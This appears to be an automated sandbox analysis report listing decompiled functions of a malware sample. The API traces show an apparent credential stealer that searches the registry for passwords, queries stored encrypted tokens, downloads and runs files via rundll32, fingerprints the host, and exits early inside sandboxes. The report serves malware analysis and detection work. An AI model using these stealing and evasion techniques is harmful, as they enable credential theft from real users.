Similarity

API ID:
String ID: image/jpeg
API String ID: 0-3785015651
Opcode ID: cc41136dfd322d4d824114a8ebeb53c27866e89a70f048c8282fbb881d138699
Instruction ID: 4e1e11a2c406ea1305e74ab4ef0d66e5904d243d4ada77d8c1e4b1ca7303bf9d
Opcode Fuzzy Hash: cc41136dfd322d4d824114a8ebeb53c27866e89a70f048c8282fbb881d138699
Instruction Fuzzy Hash: 30714CB5910608EBDB14EFE4EC85FEEB7B9BF48300F108509F515A7290DB38A945CB64

Uniqueness

Uniqueness Score: -1.00%

Function 00406CA0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00406CE4
RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00406D0A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00406D81
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00406DDD
GetProcessHeap.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E22
HeapFree.KERNEL32(00000000,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406E29

Part of subcall function 00408C20: vsprintf_s.MSVCRT ref: 00408C3B

task.LIBCPMTD ref: 00406F25

Strings

Password, xrefs: 00406DD1

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuememsettaskvsprintf_s
String ID: Password
API String ID: 2698061284-3434357891
Opcode ID: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction ID: 212e66a44237aadac39c144ffd634e87161c2b2b5cb707631054264fe3c499ea
Opcode Fuzzy Hash: e5b433d59e683e3853dabaec4553a197e9f76ed1b5df22dde85a26ca8bf12c56
Instruction Fuzzy Hash: 4F613FB5D042589BDB24DB50CC45BDAB7B8BF44304F0081EAE64AA6281DF746FC9CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004141C0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 89memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 004141DF
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0041421C
GetProcessHeap.KERNEL32(00000000,00000104), ref: 004142A0
HeapAlloc.KERNEL32(00000000), ref: 004142A7
wsprintfA.USER32 ref: 004142DD

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Strings

:, xrefs: 004141F9
C, xrefs: 004141E9
\, xrefs: 004141FD

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Heap$AllocDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 3790021787-3809124531
Opcode ID: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction ID: 52054a8b39965f6583c41ffabf349f0ba0ed2356e3a02770a6039194ee1378f4
Opcode Fuzzy Hash: 6ca11245975395cfb749b767d31339a8af53aa26318921bdecc0eb4ed934f432
Instruction Fuzzy Hash: BA3194B0D00258EBDF20DFA4DC45BEE77B4AF48304F104099F5496B281DB78AAD5CB95

Uniqueness

Uniqueness Score: -1.00%

Function 004093A0 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004093CC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
LocalAlloc.KERNEL32(00000040,?), ref: 00409411
ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
LocalFree.KERNEL32('@), ref: 00409470
FindCloseChangeNotification.KERNEL32(000000FF), ref: 0040947A

Strings

'@, xrefs: 00409426, 00409449, 00409429, 0040946F
'@, xrefs: 004093C3, 00409486

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: File$Local$AllocChangeCloseCreateFindFreeNotificationReadSize
String ID: '@$'@
API String ID: 1815715184-345573653
Opcode ID: 724207ae9b4c819a3cd2c01a55e02615bf54825d774934919a57ecf11dbfeca2
Instruction ID: e17ca2bf8fb39da35cf654cfb04ed30359ebe63801e33f8f777122e55a65d6c5
Opcode Fuzzy Hash: 724207ae9b4c819a3cd2c01a55e02615bf54825d774934919a57ecf11dbfeca2
Instruction Fuzzy Hash: 0B31EA74A00209EFDB24DF94C885BAEB7B5BF48314F108169E915A73D0D778AD42CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00414960 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,00000000,?,02F34818,00000000,?,0041D774,00000000,?,00000000,00000000,?,02F34F38), ref: 0041496D
HeapAlloc.KERNEL32(00000000), ref: 00414974
GlobalMemoryStatusEx.KERNEL32(00000040), ref: 00414995
__aulldiv.LIBCMT ref: 004149AF
__aulldiv.LIBCMT ref: 004149BD
wsprintfA.USER32 ref: 004149E9

Strings

%d MB, xrefs: 004149E0
@, xrefs: 0041498A

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2886426298-3474575989
Opcode ID: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction ID: f510475f390b20142bb5ad9b480526056b42ea6839ab7368ec165d8bd78ed5c1
Opcode Fuzzy Hash: f62cb7ad2578be9c21b89e6e1bf921e4f1007482674ad6998ac9b57a816d1492
Instruction Fuzzy Hash: 84111EB0D40208ABDB10DFE4CC49FAE77B8BB48704F104549F715BB284D7B8A9418B99

Uniqueness

Uniqueness Score: -1.00%

Function 00405D40 Relevance: 13.6, APIs: 9, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

Part of subcall function 00404470: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 004044F6
Part of subcall function 00404470: InternetCrackUrlA.WININET(00000000,00000000), ref: 00404506

InternetOpenA.WININET(0041D7D3,00000001,00000000,00000000,00000000), ref: 00405DAF
StrCmpCA.SHLWAPI(?,02F313A8), ref: 00405DE7
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 00405E2F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 00405E53
InternetReadFile.WININET(00410E73,?,00000400,?), ref: 00405E7C
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00405EAA
CloseHandle.KERNEL32(?,?,00000400), ref: 00405EE9
InternetCloseHandle.WININET(00410E73), ref: 00405EF3
InternetCloseHandle.WININET(00000000), ref: 00405F00

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID:
API String ID: 2507841554-0
Opcode ID: ce795cf4978e9cb945f885076d19b2ab4dbadfeb7c514e6fa7532bc3e56e4326
Instruction ID: 46018c2d0393d599e49b8942d3c4f4431f3cc1562104312217daf3d911a1fc92
Opcode Fuzzy Hash: ce795cf4978e9cb945f885076d19b2ab4dbadfeb7c514e6fa7532bc3e56e4326
Instruction Fuzzy Hash: DB514471A00618ABDB20DF51CC45BEF7779EB44305F1081AAB645B71C0DB78AB85CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00413D90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 136COMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT ref: 00413D9E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

OpenProcess.KERNEL32(001FFFFF,00000000,00413FCD,0041D28B), ref: 00413DDC
memset.MSVCRT ref: 00413E2A
??_V@YAXPAX@Z.MSVCRT ref: 00413F7E

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 00413E4C

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: OpenProcesslstrcpymemset
String ID: 65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 224852652-4138519520
Opcode ID: 50b8418d35005f49151776d4ec52c406828bcf49a8456ad85dd8162cfdd3995f
Instruction ID: ba4a912f34a6ab240f03399ec897c117189ceb9282cc0eaf369c81769a73d46f
Opcode Fuzzy Hash: 50b8418d35005f49151776d4ec52c406828bcf49a8456ad85dd8162cfdd3995f
Instruction Fuzzy Hash: 35513DB0D003189BDB24EF51DC45BEEBB75AB48309F5041AEE11966281DB386BC9CF58

Uniqueness

Uniqueness Score: -1.00%

Function 0040B250 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 274stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000), ref: 0040B44D

Part of subcall function 00415530: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00415552

StrStrA.SHLWAPI(00000000,AccountId), ref: 0040B47B
lstrlen.KERNEL32(00000000), ref: 0040B553
lstrlen.KERNEL32(00000000), ref: 0040B567

Strings

SELECT service, encrypted_token FROM token_service, xrefs: 0040B3BB
AccountTokens, xrefs: 0040B28A
AccountId, xrefs: 0040B472
AccountTokens, xrefs: 0040B319

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpylstrlen$AllocLocallstrcat$memcmpmemset
String ID: AccountId$AccountTokens$AccountTokens$SELECT service, encrypted_token FROM token_service
API String ID: 2910778473-1079375795
Opcode ID: 7decbdc5eee8bcb21d8a566522b1150b97f480c6ff3170ad694ffc639626f9fb
Instruction ID: df2f8e8a8ca21c55da42a3c6f19f5118b3684059388f817d0631ea5bb79e5354
Opcode Fuzzy Hash: 7decbdc5eee8bcb21d8a566522b1150b97f480c6ff3170ad694ffc639626f9fb
Instruction Fuzzy Hash: 07A164759102089BCF14FBA1DC52EEE7739BF54308F51416EF506B2191EF38AA85CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00414B79 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 59registrystringCOMMON

Download Yara Rule

APIs

RegEnumKeyExA.KERNEL32(00000000,00000000,?,00000400,00000000,00000000,00000000,00000000), ref: 00414BC3
wsprintfA.USER32 ref: 00414BF6
RegOpenKeyExA.KERNEL32(00000000,?,00000000,00020019,00000000), ref: 00414C18
RegCloseKey.ADVAPI32(00000000), ref: 00414C29
RegCloseKey.ADVAPI32(00000000), ref: 00414C36

Part of subcall function 00416DA0: lstrcpy.KERNEL32(?,00000000), ref: 00416DE6

RegQueryValueExA.KERNEL32(00000000,02F34E18,00000000,000F003F,?,00000400), ref: 00414C89
lstrlen.KERNEL32(?), ref: 00414C9E
RegQueryValueExA.KERNEL32(00000000,02F34E30,00000000,000F003F,?,00000400,00000000,?,?,00000000,?,0041D4B4), ref: 00414D36
RegCloseKey.KERNEL32(00000000), ref: 00414DA5
RegCloseKey.ADVAPI32(00000000), ref: 00414DB7

Strings

%s\%s, xrefs: 00414BEA

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: Close$QueryValue$EnumOpenlstrcpylstrlenwsprintf
String ID: %s\%s
API String ID: 3896182533-4073750446
Opcode ID: 5f8510f1cd6bc4f3bd28995b0bcc90f298fe04805285c6b06e45212d00c87949
Instruction ID: d244d91c33a18a5b0a6d9a0a642cdc181f43283702d6765b4fd500d7f5e12fa2
Opcode Fuzzy Hash: 5f8510f1cd6bc4f3bd28995b0bcc90f298fe04805285c6b06e45212d00c87949
Instruction Fuzzy Hash: 59213875A0021CABDB64CB50DC85FE973B9BF88300F0085D9A649A6180DF74AAC6CFE4

Uniqueness

Uniqueness Score: -1.00%

Function 00411D80 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411DA5
RegOpenKeyExA.KERNEL32(80000001,02F35228,00000000,00020119,?), ref: 00411DC4
RegQueryValueExA.ADVAPI32(?,02F359B8,00000000,00000000,00000000,000000FF), ref: 00411DE8
RegCloseKey.ADVAPI32(?), ref: 00411DF2
lstrcat.KERNEL32(?,00000000), ref: 00411E17
lstrcat.KERNEL32(?,02F35B20), ref: 00411E2B

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction ID: 8aed71b150b2ed53c6c52757a29982c6d8c6785b9d22af2673d92710ece34b21
Opcode Fuzzy Hash: bf11c5f64fb992b3c772fe614ac28ac6fc491ab679ab64900ab2a626250608f3
Instruction Fuzzy Hash: F641B4B2900108BBCB15EBE0DC86FEE733EAB88745F00454DF71A5A191EE7467848BE1

Uniqueness

Uniqueness Score: -1.00%

Function 00409B30 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 360filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02F11B90,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00409BB1
lstrlen.KERNEL32(00000000), ref: 00409F6A

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrlen.KERNEL32(00000000,00000000), ref: 00409CAD
DeleteFileA.KERNEL32(00000000), ref: 00409FEB

Strings

X@, xrefs: 00409BC4, 00409BF0, 00409FCD, 00409BC7, 00409BF3, 00409FD0

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$AllocCopyDeleteLocalSystemTimememcmpmemset
String ID: X@
API String ID: 3258613111-2850556465
Opcode ID: 32807c0cf235fc79af1373163ca3821cc06936861dd64ff2856bb16f9384703c
Instruction ID: 70962d3f4e1e977daa55f2855abdfba287f36735b870bb76fdd61a7d9847a281
Opcode Fuzzy Hash: 32807c0cf235fc79af1373163ca3821cc06936861dd64ff2856bb16f9384703c
Instruction Fuzzy Hash: BCD10376D101089ACB14FBA5DC91EEE7739BF14304F51825EF51672091EF38AA89CBB8

Uniqueness

Uniqueness Score: -1.00%

Function 004136B0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F16908), ref: 00415F11
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F16938), ref: 00415F2A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F16950), ref: 00415F42
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F16998), ref: 00415F5A
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F16968), ref: 00415F73
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F31698), ref: 00415F8B
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F30620), ref: 00415FA3
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F30580), ref: 00415FBC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F31780), ref: 00415FD4
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F31930), ref: 00415FEC
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F31990), ref: 00416005
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F31810), ref: 0041601D
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F30520), ref: 00416035
Part of subcall function 00415ED0: GetProcAddress.KERNEL32(75900000,02F318E8), ref: 0041604E

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00401190: ExitProcess.KERNEL32 ref: 004011D1

Part of subcall function 00401120: GetSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,004136D7,0041D6E3), ref: 0040112A
Part of subcall function 00401120: ExitProcess.KERNEL32 ref: 0040113E

Part of subcall function 004010D0: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000,?,?,004136DC), ref: 004010EB
Part of subcall function 004010D0: VirtualAllocExNuma.KERNEL32(00000000,?,?,004136DC), ref: 004010F2
Part of subcall function 004010D0: ExitProcess.KERNEL32 ref: 00401103

Part of subcall function 004011E0: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 004011FE
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401218
Part of subcall function 004011E0: __aulldiv.LIBCMT ref: 00401226
Part of subcall function 004011E0: ExitProcess.KERNEL32 ref: 00401254

Part of subcall function 00413430: GetUserDefaultLangID.KERNEL32(?,?,004136E6,0041D6E3), ref: 00413434

Part of subcall function 00401150: ExitProcess.KERNEL32 ref: 00401186

Part of subcall function 004143C0: GetProcessHeap.KERNEL32(00000000,00000104,00401177,02F315B8,004136EB,0041D6E3), ref: 004143CD
Part of subcall function 004143C0: HeapAlloc.KERNEL32(00000000), ref: 004143D4
Part of subcall function 004143C0: GetUserNameA.ADVAPI32(?,00000104), ref: 004143EC

Part of subcall function 00414400: GetProcessHeap.KERNEL32(00000000,00000104,004136EB,0041D6E3), ref: 0041440D
Part of subcall function 00414400: HeapAlloc.KERNEL32(00000000), ref: 00414414
Part of subcall function 00414400: GetComputerNameA.KERNEL32(?,00000104), ref: 0041442C

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,02F31618,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 0041378A
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 004137A8
CloseHandle.KERNEL32(00000000), ref: 004137B9
Sleep.KERNEL32(00001770), ref: 004137C4
CloseHandle.KERNEL32(?,00000000,?,02F31618,?,0041D8AC,?,00000000,?,0041D8B0,?,00000000,0041D6E3), ref: 004137DA
ExitProcess.KERNEL32 ref: 004137E2

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$Alloclstrcpy$CloseEventHandleNameUser__aulldiv$ComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 1175201934-0
Opcode ID: 06c7d789369be97264c96ae0ba0ceb110094b6e6dcadee4c4494ada37eb83e9d
Instruction ID: 0037ec1138340b95bb434dc328289296f16cab3c571637fdb93d627daa89b4d0
Opcode Fuzzy Hash: 06c7d789369be97264c96ae0ba0ceb110094b6e6dcadee4c4494ada37eb83e9d
Instruction Fuzzy Hash: 7E318270A00204AADB04FBF2DC56BEE7779AF08708F10451EF112A61D2DF789A85C7AD

Uniqueness

Uniqueness Score: -1.00%

Function 00410FA0 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 251COMMON

Download Yara Rule

APIs

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

Part of subcall function 00416F20: lstrcpy.KERNEL32(00000000,?), ref: 00416F72
Part of subcall function 00416F20: lstrcat.KERNEL32(00000000), ref: 00416F82

Part of subcall function 00416EA0: lstrcpy.KERNEL32(?,0041D6E3), ref: 00416F05

Part of subcall function 00416FB0: lstrlen.KERNEL32(?,0041D8B0,?,00000000,0041D6E3), ref: 00416FC5
Part of subcall function 00416FB0: lstrcpy.KERNEL32(00000000), ref: 00417004
Part of subcall function 00416FB0: lstrcat.KERNEL32(00000000,00000000), ref: 00417012

Part of subcall function 00415260: GetSystemTime.KERNEL32(?,02F11B90,0041D129,?,?,?,?,?,?,?,?,?,00404623,?,00000014), ref: 00415286

ShellExecuteEx.SHELL32(0000003C), ref: 00411307

Strings

.dll, xrefs: 00411054
C:\Windows\system32\rundll32.dll, xrefs: 004110BF
"" , xrefs: 004111DC
<, xrefs: 004112AC

Memory Dump Source

Source File: 00000000.00000002.2441438932.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2441438932.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2441438932.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_bUcIhJ4VHm.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrcat$ExecuteFolderPathShellSystemTimelstrlen
